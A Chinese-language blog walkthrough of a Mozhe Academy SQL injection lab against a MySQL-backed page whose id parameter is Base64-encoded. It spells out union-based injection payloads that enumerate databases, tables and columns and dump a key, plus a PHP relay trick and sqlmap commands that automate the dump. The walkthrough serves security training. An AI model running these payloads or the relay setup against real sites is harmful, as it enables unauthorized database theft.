墨者学院之SQL注入实战--MySQL

Do what you said,say what you can do
做你说过的,说你能做的

目录

  • 一. 手工注入
  • 二. 工具注入(中转型)

一. 手工注入

辅助工具:小葵多功能转换工具
作用:编码解码、加密解密

  1. 首先,启动靶场环境,根据URL显示,可知目标URL是经过Base64加密编码方式来进行编码的。
    如图,URL中的 “MQo=” 就是经过Base64加密后的内容:
    墨者学院之SQL注入实战--MySQL_第1张图片
    用小葵工具来进行解码,可知原内容是数字1:
    墨者学院之SQL注入实战--MySQL_第2张图片

  2. 输入判断语句,用于判断是否存在SQL注入
    (1)判断语句:1 and 1=1
    将 “1 and 1=1” 先进行加密编码,结果如图所示:
    墨者学院之SQL注入实战--MySQL_第3张图片
    将加密后的内容(MSBhbmQgMT0x)复制到URL中的id参数值后面,这时候页面有数据显示。
    (这个部分没有截图,可自行实验,结果一样)

    (2)判断语句:1 and 1=2
    将 “1 and 1=2” 先进行加密编码,结果如图所示:
    墨者学院之SQL注入实战--MySQL_第4张图片
    将加密后的内容(MSBhbmQgMT0y)复制到URL中的id参数值后面,这时候页面没有数据显示。
    (这个部分没有截图,可自行实验,结果一样)

  3. 根据判断结果,显示该站点存在SQL注入,且为数字型,接下来使用 “order by” 来进行字段判断。
    判断语句:1 order by 2
    先将判断语句进行加密:
    墨者学院之SQL注入实战--MySQL_第5张图片

    如图,将加密后的内容(MSBvcmRlciBieSAy)复制并粘贴到URL中id参数值后面:
    墨者学院之SQL注入实战--MySQL_第6张图片
    根据页面回显结果,页面和正常情况下无变化,说明字段数为2。

  4. 判断数据库
    方法:使用union联合注入查询数据库,再利用报错方式将所需数据显示出来。
    语句:-1 union select 1,database()
    先将语句加密:
    墨者学院之SQL注入实战--MySQL_第7张图片
    如图,然后将加密结果复制并粘贴到URL中id参数值后面:
    墨者学院之SQL注入实战--MySQL_第8张图片
    提示:
    若想获取目标站点后台所有数据库,则应该使用一下语句:
    -1 union select 1,SCHEMA_NAME from information_schema.SCHEMATA

  5. 获取表名
    语句:
    -1 union select group_concat(table_name),2 from information_schema.tables where table_schema=‘test’

    如图,先将语句加密(由于加密过后的语句太长,此处开始不演示加密过程了,可自行测试),然后将加密结果复制并粘贴到URL中id参数值后面:

    墨者学院之SQL注入实战--MySQL_第9张图片
    结果显示,test数据库下只有一张表,名为data。

  6. 获取列名
    语句:
    -1 union select group_concat(column_name),2 from information_schema.columns where table_name=‘data’

    加密代入后的结果如图所示:
    墨者学院之SQL注入实战--MySQL_第10张图片
    结果显示data表中共有四个数据,分别为id,title,main,thekey。

  7. 获取数据
    语句:
    -1 union select group_concat(id,title,main,thekey),2 from data

    加密代入后的结果如图所示:
    墨者学院之SQL注入实战--MySQL_第11张图片
    根据结果显示,“The key in the columns” 后面的值就是我们要找的key(mozhe后面的加密数据需自己手动解密)。

二. 工具注入(中转型)

工具:sqlmap、phpstduy、notepad++
作用:sqlmap用于攻击暴数据;phpstudy用于搭建本地站点;notepad++用于编写站点程序代码。

由于sqlmap只能进行明文注入,若遇到的网站URL是经过加密编码的,得先把加密内容解密,再用SQLmap进行注入。

下面称 “http://127.0.0.1:8080/text_base64.php?id=1” 为本地搭建站点,称 “http://219.153.49.228:48995/show.php?id=MQo=” 为原目标站点。

演示步骤:

  1. 启动phpstudy,并在其网站根目录下创建一个名为“text_base64.php”的网站,其内容如图:
    墨者学院之SQL注入实战--MySQL_第12张图片
    因为目标站点的URL为 “http://219.153.49.228:48995/show.php?id=MQo=” ,其中的“MQo=”是加密内容,因此在使用sqlmap对原目标站点进行注入之前,先自行创建php文件,然后开启phpstudy,并在浏览器中访问 “http://127.0.0.1:8080/text_base64.php?id=1” ,即本地搭建站点。此时URL中未经编码的变量id后的值先被“base64_encode”函数加密后再经过“file_get_contents”函数发出网络请求来访问原目标站点,就可以开始进行注入了。

  2. 打开sqlmap对本地搭建站点进行注入
    (1)获取数据库名
    语句:
    sqlmap.py -u http://127.0.0.1:8080/text_base64.php?id=1 --current-db
    如图:
    墨者学院之SQL注入实战--MySQL_第13张图片
    结果:
    墨者学院之SQL注入实战--MySQL_第14张图片
    由结果显示,当前数据库为 “test” 。

    注:若想获取目标站点后台所有数据库及数据库下的所有表名,则输入语句:
    sqlmap.py -u http://127.0.0.1:8080/text_base64.php?id=1 --tables
    如图:
    墨者学院之SQL注入实战--MySQL_第15张图片
    结果:
    墨者学院之SQL注入实战--MySQL_第16张图片
    根据结果显示,数据库test下有一张表,数据库information_schema下有40张表。

    (2)获取表名
    语句:
    sqlmap.py -u http://127.0.0.1:8080/text_base64.php?id=1 -D test --tables
    如图:
    图2-6
    结果:
    墨者学院之SQL注入实战--MySQL_第17张图片

    (3)获取列名
    语句:
    sqlmap.py -u http://127.0.0.1:8080/text_base64.php?id=1 -T data -D test --column
    如图:
    图2-8
    结果:
    墨者学院之SQL注入实战--MySQL_第18张图片
    根据结果显示可知,data表下共有4种数据,且每种数据的类型都有表明。

    (4)获取数据
    语句:
    sqlmap.py -u http://127.0.0.1:8080/text_base64.php?id=1 -T data -D test -C “id,main,thekey,title” --dump

    如图:
    图2-10
    结果:
    墨者学院之SQL注入实战--MySQL_第19张图片
    从结果看出,thekey所呈现的结果是已经经过解密的了,无需像手工注入一样还要对结果进行一次解密。

总结:以上只是SQL注入诸多方式中的其中两种,本人是走在白帽路上的萌新选手,如有不足的地方,还望各位大佬指点!!!

你可能感兴趣的:(安全,web)